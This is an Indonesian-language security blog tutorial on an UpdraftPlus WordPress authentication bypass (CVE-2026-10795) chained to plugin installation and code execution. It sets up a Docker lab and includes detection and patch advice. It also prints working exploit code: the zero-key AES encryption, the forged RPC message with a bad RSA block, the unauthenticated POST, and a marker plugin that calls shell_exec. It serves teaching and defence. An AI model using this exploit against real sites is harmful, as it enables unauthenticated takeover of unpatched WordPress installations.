CVE-2026-10795 — UpdraftPlus RPC Authentication Bypass Chained to Plugin Installation

Breakdown lengkap CVE-2026-10795, celah authentication bypass pada UpdraftPlus yang bisa dirantai jadi RCE melalui UpdraftCentral RPC layer
Daftar isi

CVE-2026-10795 adalah salah satu celah keamanan yang cukup menarik untuk dibahas, bukan karena cara eksploitasinya yang spektakuler, tapi justru karena cara kerjanya yang elegan dan memanfaatkan kelalaian kecil yang berantai jadi dampak besar.

Celah ini ada di UpdraftPlus, plugin WordPress yang sangat populer untuk backup dan restore, tepatnya di komponen UpdraftCentral yang digunakan untuk remote management. Yang membuat CVE ini lebih dari sekadar “auth bypass biasa” adalah kemampuannya untuk dirantai menjadi Remote Code Execution — bukan lewat injeksi command langsung, melainkan lewat fitur plugin management yang memang sudah ada dan sah digunakan.


Apa Itu CVE-2026-10795?

CVE-2026-10795 adalah unauthenticated authentication bypass pada UpdraftPlus WordPress plugin, tepatnya di layer UpdraftCentral RPC (Remote Procedure Call). Vulnerability ini ditemukan di versi UpdraftPlus <= 1.26.4 dan sudah dipatch di versi 1.26.5.

Kondisinya: jika sebuah WordPress site menggunakan UpdraftPlus dan UpdraftCentral sudah dikonfigurasi untuk remote management, seorang penyerang dari luar — tanpa memiliki akun apapun — bisa memalsukan RPC message dan mengelabui plugin agar menjalankan perintah dengan hak administrator, termasuk menginstall dan mengaktifkan plugin WordPress apapun.

Rangkaian serangannya berjalan seperti ini:

Penyerang tanpa autentikasi
   kirim forged UpdraftCentral RPC request
     bypass verifikasi signature lewat format=1
       RSA decrypt gagal tapi tidak ditolak
         decrypt jatuh ke null key / null IV yang predictable
           JSON RPC command palsu berhasil didekripsi
             command di-dispatch ke UpdraftCentral
               plugin.upload_plugin dipanggil
                 install + aktifkan plugin
                   code execution sebagai www-data

Root Cause — Di Mana Letak Masalahnya?

Masalahnya ada di cara UpdraftPlus menangani pesan RPC dari UpdraftCentral. Plugin ini mendukung dua format pesan:

  • format=1 → format lama (legacy)
  • format=2 → format baru dengan signature verification

Format=1 tidak memerlukan signature. Inilah bypass pertama. Di kode aslinya, pemeriksaan signature hanya dilakukan kalau formatnya >= 2:

if ($format >= 2) {
    if (empty($_POST['signature'])) {
        die;
    }

    if (!$this->key_remote) {
        die;
    }

    if (!$this->verify_signature($udrpc_message, $_POST['signature'], $this->key_remote)) {
        die;
    }
}

Kalau request dikirim dengan format=1, seluruh blok ini dilewati sepenuhnya. Namun masalah utamanya bukan di sini — masalah yang lebih besar ada di bagian decryption.

Setelah melewati format check, UpdraftPlus mencoba mendekripsi pesan menggunakan RSA untuk mendapatkan symmetric key, lalu menggunakan symmetric key tersebut untuk mendekripsi pesan utama. Kode di versi vulnerable-nya kira-kira seperti ini:

// Di versi vulnerable (1.26.4):
$sym_key = $rsa->decrypt($sym_key);

$rij->setKey($sym_key);      // BUG: tidak ada pengecekan apakah $sym_key valid!
return $rij->decrypt($ciphertext);

Kalau RSA decrypt gagal, $rsa->decrypt() mengembalikan nilai false. Di versi vulnerable, nilai false ini langsung dimasukkan ke setKey() tanpa pengecekan apapun.

Yang terjadi selanjutnya menarik — library phpseclib yang dipakai memiliki behavior seperti ini: kalau key yang diberikan adalah false (yang panjangnya 0 karena strlen(false) === 0), key-nya akan di-pad dengan null bytes menjadi 16 bytes. IV juga jatuh ke 16 null bytes. Artinya, kita bisa tahu persis key dan IV yang akan dipakai server:

AES-CBC
Key: \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
IV:  \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

Karena key dan IV-nya sudah diketahui, payload bisa dienkripsi sendiri menggunakan zero key dan zero IV — dan server akan mendekripsinya dengan sukses.

Patch di versi 1.26.5 menambahkan validasi sederhana sebelum symmetric key digunakan:

// Di versi patched (1.26.5):
$sym_key = $rsa->decrypt($sym_key);

// Guard yang ditambahkan:
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
    return false;
}

$rij->setKey($sym_key);
return $rij->decrypt($ciphertext);

Tiga baris sederhana. Itulah perbedaan antara versi yang exploitable dan yang sudah dipatch.


Kenapa Bisa Jadi Code Execution?

Authentication bypass-nya terlihat seperti “hanya bisa masuk ke sistem”. Tapi setelah berhasil melewati autentikasi RPC, penyerang bisa memanggil command UpdraftCentral apapun, termasuk:

plugin.upload_plugin

Command ini adalah fitur sah dari UpdraftCentral untuk mengupload dan menginstall plugin WordPress secara remote. Alurnya seperti ini:

// Di central/modules/plugin.php
public function upload_plugin($params) {
    return $this->process_chunk_upload($params, 'plugin');
}

// process_chunk_upload():
// 1. Decode base64 ZIP data dari params
// 2. Tulis ke file temporary
// 3. Panggil UpdraftCentral_Plugin_Upgrader->install($zip_filepath)
// 4. Kalau 'activate' = true, panggil activate_plugin()

Jadi kalau RPC message berisi ZIP plugin, server akan menginstall dan mengaktifkan plugin tersebut — dan kode PHP di dalamnya langsung berjalan dengan hak akses user web server, biasanya www-data.

Catatan: Agar serangan ini berhasil, dibutuhkan kondisi bahwa UpdraftCentral local key state sudah ada dan terhubung ke user WordPress yang memiliki privilege cukup seperti administrator. Lab di bawah sudah mensimulasikan kondisi ini.


Setup Lab — Docker Environment

Lab untuk mereproduksi CVE ini tersedia di GitHub: rootdirective-sec/CVE-2026-10795-Lab

Lab ini menjalankan dua instalasi WordPress secara paralel via Docker Compose, sehingga bisa langsung membandingkan antara versi vulnerable dan patched secara side-by-side.

Service UpdraftPlus URL
vuln 1.26.4 (vulnerable) http://127.0.0.1:8081
patched 1.26.5 (patched) http://127.0.0.1:8082

Struktur repositorinya:

CVE-2026-10795-Lab/
├── docker-compose.yml
├── scripts/
│   └── setup-wordpress.sh
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── requirements.txt
└── README.md

Langkah 1 — Clone dan Start Lab

Pastikan Docker Desktop atau Docker Engine sudah terinstall, lalu jalankan:

# Clone repositori
git clone https://github.com/rootdirective-sec/CVE-2026-10795-Lab.git
cd CVE-2026-10795-Lab

# Bersihkan state lama kalau ada, lalu build dan start
docker compose down -v --remove-orphans
docker compose up -d --build

Proses build pertama kali membutuhkan waktu beberapa menit karena perlu mengunduh image dan melakukan setup WordPress.

Langkah 2 — Pantau Setup Logs

docker compose logs -f vuln_setup patched_setup

Tunggu sampai muncul output seperti ini untuk masing-masing service:

Seeded UpdraftCentral key: 0.central.updraftplus.com
Plugin updraftplus details:
Status: Active
Version: 1.26.4
Setup complete for CVE-2026-10795 vuln
Seeded UpdraftCentral key: 0.central.updraftplus.com
Plugin updraftplus details:
Status: Active
Version: 1.26.5
Setup complete for CVE-2026-10795 patched

Langkah 3 — Verifikasi Service Berjalan

docker compose ps

Pastikan semua service statusnya running atau healthy.


Setup Python Environment

Beberapa Python package diperlukan untuk menjalankan PoC:

# Buat virtual environment
python3 -m venv venv

# Aktifkan
source venv/bin/activate

# Install dependencies
pip install -r requirements.txt

Isi requirements.txt:

requests
urllib3<2
pycryptodome

Tutorial PoC — Jalankan Serangan

Setelah lab siap, saatnya menjalankan exploit.

Ping Test (Validasi Ringan)

Sebelum menjalankan ID proof, ada baiknya mengetes dulu apakah RPC bypass berhasil tanpa mengupload plugin sama sekali — ini fungsinya flag --ping:

# Test ke vulnerable target
python3 poc/poc.py --ping --url http://127.0.0.1:8081

# Test ke patched target
python3 poc/poc.py --ping --url http://127.0.0.1:8082

Output yang diharapkan:

  • Vulnerable (8081): PING DISPATCHED
  • Patched (8082): PING NOT DISPATCHED

Kalau ping ke 8081 berhasil, artinya bypass autentikasi RPC bekerja. Kalau ping ke 8082 tidak berhasil, artinya patch bekerja dengan benar.

ID Proof (Full Exploit Chain)

Ini adalah serangan penuh — PoC akan membuat plugin WordPress di memory, menguploadnya lewat forged RPC, menginstall dan mengaktifkannya, lalu mengambil output dari /usr/bin/id:

# Jalankan ke vulnerable target
python3 poc/poc.py --url http://127.0.0.1:8081

Output yang diharapkan dari target vulnerable:

CVE-2026-10795 local lab-only ID validation
Scope         : localhost / Docker lab only
Technique     : forged format=1 plugin.upload_plugin with hard-coded id marker plugin
Safety        : no generic web shell, no cmd parameter, no external targets
Key name      : 0.central.updraftplus.com
Marker plugin : cve-2026-10795-id-marker/cve-2026-10795-id-marker.php
========================================================================================
Target        : http://127.0.0.1:8081/
Command       : plugin.upload_plugin
Decision      : RPC DISPATCHED
HTTP status   : 200
Body bytes    : non-zero
RPC JSON seen : True
Resp. format  : 2
----------------------------------------------------------------------------------------
ID endpoint   : http://127.0.0.1:8081/wp-json/cve-lab/v1/id
Marker active : True
HTTP status   : 200
id output     : uid=33(www-data) gid=33(www-data) groups=33(www-data)
========================================================================================

Sekarang coba ke patched target:

python3 poc/poc.py --url http://127.0.0.1:8082

Output yang diharapkan dari target patched:

Target        : http://127.0.0.1:8082/
Command       : plugin.upload_plugin
Decision      : RPC NOT DISPATCHED
HTTP status   : 200
Body bytes    : 0
RPC JSON seen : False
----------------------------------------------------------------------------------------
ID endpoint   : http://127.0.0.1:8082/wp-json/cve-lab/v1/id
Marker active : False
HTTP status   : 404
Body prefix   : '{"code":"rest_no_route",...}'
========================================================================================

Perbedaannya sangat jelas. Target vulnerable berhasil dieksploitasi dan marker plugin berhasil terinstall. Target patched memblok forged message sebelum sempat sampai ke command dispatch.


Cara Kerja PoC di Balik Layar

Ini yang sebenarnya terjadi ketika PoC dijalankan, step by step:

Step 1 — Generate Marker Plugin

PoC membuat WordPress plugin ZIP langsung di memory, tanpa menyimpannya ke disk terlebih dahulu. Plugin ini hanya berisi satu file PHP yang mendaftarkan satu REST endpoint:

/wp-json/cve-lab/v1/id

Endpoint tersebut hanya menjalankan satu perintah hard-coded:

shell_exec('/usr/bin/id 2>&1');

Tidak ada parameter cmd yang bisa diubah dari luar — sengaja dibuat terbatas untuk tujuan lab.

Step 2 — Enkripsi Inner JSON

PoC membuat JSON command yang akan dikirim ke UpdraftCentral:

inner = {
    "command": "plugin.upload_plugin",
    "time": int(time.time()),
    "key_name": "0.central.updraftplus.com",
    "rand": random.randint(1, 2_147_483_647),
    "data": {
        "filename": "cve-2026-10795-id-marker.zip",
        "data": base64.b64encode(zip_bytes).decode("ascii"),
        "activate": True,
    }
}

JSON ini kemudian dienkripsi menggunakan zero key dan zero IV:

ZERO_KEY = b"\x00" * 16
ZERO_IV  = b"\x00" * 16

cipher     = AES.new(ZERO_KEY, AES.MODE_CBC, iv=ZERO_IV)
ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))

Step 3 — Build Forged RPC Message

PoC membangun udrpc_message dengan format yang sama seperti yang diharapkan UpdraftCentral, tetapi menggunakan RSA block yang sengaja dibuat invalid:

BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"

bad_sym_key_b64  = base64.b64encode(BAD_RSA_BLOCK).decode("ascii")
ciphertext_b64   = base64.b64encode(ciphertext).decode("ascii")

sym_key_len    = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"

udrpc_message = f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"

RSA block yang invalid ini akan menyebabkan RSA decrypt gagal di server. Di versi vulnerable, kegagalan ini tidak ditolak dan proses berlanjut ke dekripsi menggunakan zero key/IV — persis yang sudah disiapkan di Step 2.

Step 4 — Kirim Request

fields = {
    "format": "1",
    "key_name": "0.central.updraftplus.com",
    "udrpc_message": udrpc_message,
}

requests.post(target_url, data=fields, timeout=timeout)

Request dikirim sebagai POST biasa ke root URL WordPress. Tidak perlu endpoint khusus, tidak perlu cookie, tidak perlu token.

Step 5 — Verifikasi Impact

Setelah plugin terinstall, PoC mengecek apakah marker plugin sudah aktif:

curl http://127.0.0.1:8081/wp-json/cve-lab/v1/id

Verifikasi Manual

Beberapa cara untuk memverifikasi status lab secara manual:

Cek service health:

docker compose ps

Cek inspector endpoint (menampilkan info versi dan status plugin):

curl -s http://127.0.0.1:8081/cve-lab-inspector.php | python3 -m json.tool
curl -s http://127.0.0.1:8082/cve-lab-inspector.php | python3 -m json.tool

Cek marker endpoint setelah PoC dijalankan:

# Vulnerable — seharusnya mengembalikan uid output
curl -s http://127.0.0.1:8081/wp-json/cve-lab/v1/id | python3 -m json.tool

# Patched — seharusnya mengembalikan 404
curl -s http://127.0.0.1:8082/wp-json/cve-lab/v1/id | python3 -m json.tool

Cek apakah marker plugin ada di filesystem:

# Di container vulnerable
docker compose exec -T vuln sh -lc \
  'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'

# Di container patched (seharusnya kosong)
docker compose exec -T patched sh -lc \
  'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'

Cara Detect dan Mitigasi

Tanda-tanda Serangan

Dari sisi HTTP access log, perhatikan POST request ke root / yang mengandung field udrpc_message dengan nilai panjang, terutama jika format=1 dan berasal dari IP yang tidak dikenal. Pola ini tidak lazim untuk traffic WordPress normal.

Dari sisi filesystem, perhatikan jika ada plugin baru yang muncul tiba-tiba di wp-content/plugins/ tanpa ada yang menginstallnya lewat dashboard.

Dari sisi REST API, cek apakah ada endpoint baru yang tiba-tiba muncul dari plugin yang tidak pernah diinstall.

Mitigasi

Langkah paling penting: upgrade UpdraftPlus ke versi 1.26.5 atau lebih baru. Update ini tersedia langsung dari WordPress Plugin Repository dan bisa dilakukan dari dashboard WordPress.

Jika fitur remote management UpdraftCentral tidak digunakan, sebaiknya hapus konfigurasi UpdraftCentral key di database. Key ini yang menjadi prasyarat eksploitasi. Caranya bisa lewat UpdraftPlus settings, atau dengan menghapus record terkait di tabel wp_options.

Jika sistem sudah dicurigai dikompromis:

  • Review plugin yang terinstall, hapus yang mencurigakan
  • Audit akun WordPress, khususnya yang berperan administrator
  • Periksa access log untuk request yang mengandung udrpc_message
  • Restore dari backup bersih jika diperlukan
  • Rotate semua credential yang mungkin sudah terekspos

Untuk monitoring jangka panjang, pertimbangkan untuk:

  • Menyiapkan alerting untuk POST request ke root URL WordPress yang mengandung udrpc_message
  • Memonitor perubahan filesystem di direktori wp-content/plugins/
  • Mengaktifkan notifikasi update plugin WordPress agar tidak ketinggalan patch penting

Cleanup Lab

Setelah selesai bereksperimen, bersihkan lab dengan:

# Stop dan hapus containers, network, dan volumes
docker compose down -v --remove-orphans

# Hapus Python virtual environment
rm -rf venv

Ringkasan Teknis

Kalau dirangkum, chain serangan CVE-2026-10795 berjalan seperti ini: format format=1 melewati signature verification sepenuhnya. RSA block yang sengaja invalid membuat RSA decrypt gagal dan mengembalikan false. Di versi vulnerable, false ini langsung dimasukkan ke setKey() tanpa validasi. phpseclib kemudian menormalisasi key false menjadi 16 null bytes. Karena key sudah diketahui, payload bisa dienkripsi sedemikian rupa sehingga server berhasil mendekripsinya. Payload berisi command plugin.upload_plugin beserta ZIP plugin. Server menginstall dan mengaktifkan plugin tersebut, dan kode PHP di dalamnya langsung berjalan.

Patch di versi 1.26.5 memotong chain ini di langkah ketiga — jika RSA decrypt gagal, nilai false langsung ditolak dan proses berhenti di sana.


Disclaimer / Catatan Penting

Artikel ini dibuat murni untuk tujuan edukasi dan keamanan informasi. Seluruh tutorial di atas menggunakan environment lokal (Docker lab) yang terisolasi dan tidak terhubung ke sistem produksi manapun, tidak saya sarankan untuk hal ilegal.

PoC yang dijelaskan di sini hanya dapat dijalankan ke localhost dan secara eksplisit menolak target non-lokal. Tujuannya adalah membantu security researcher, developer, dan sysadmin memahami cara kerja celah ini agar dapat mengambil langkah proteksi yang tepat.

Jangan pernah menjalankan exploit ke sistem yang bukan milikmu atau yang tidak memiliki izin eksplisit untuk diuji. Mengeksploitasi sistem tanpa izin adalah tindakan ilegal dan tidak etis.

Jika mengelola WordPress dengan UpdraftPlus, segera upgrade ke versi 1.26.5 atau lebih baru.

edu.ravxytech.my.id hadir untuk berbagi pengetahuan seputar teknologi dan cyber security secara bertanggung jawab.